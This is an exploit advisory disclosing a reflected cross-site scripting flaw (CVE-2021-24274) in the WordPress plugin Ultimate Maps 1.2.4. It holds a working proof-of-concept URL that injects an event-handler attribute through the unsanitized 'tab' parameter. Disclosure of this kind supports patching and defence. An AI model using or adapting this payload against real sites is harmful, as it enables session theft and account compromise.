# Exploit Title: WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS) # Date: 3/28/2021 # Author: 0xB9 # Software Link: https://wordpress.org/plugins/ultimate-maps-by-supsystic/ # Version: 1.2.4 # Tested on: Windows 10 # CVE: CVE-2021-24274 1. Description: The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue 2. Proof of Concept: /wp-admin/admin.php?page=ultimate-maps-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//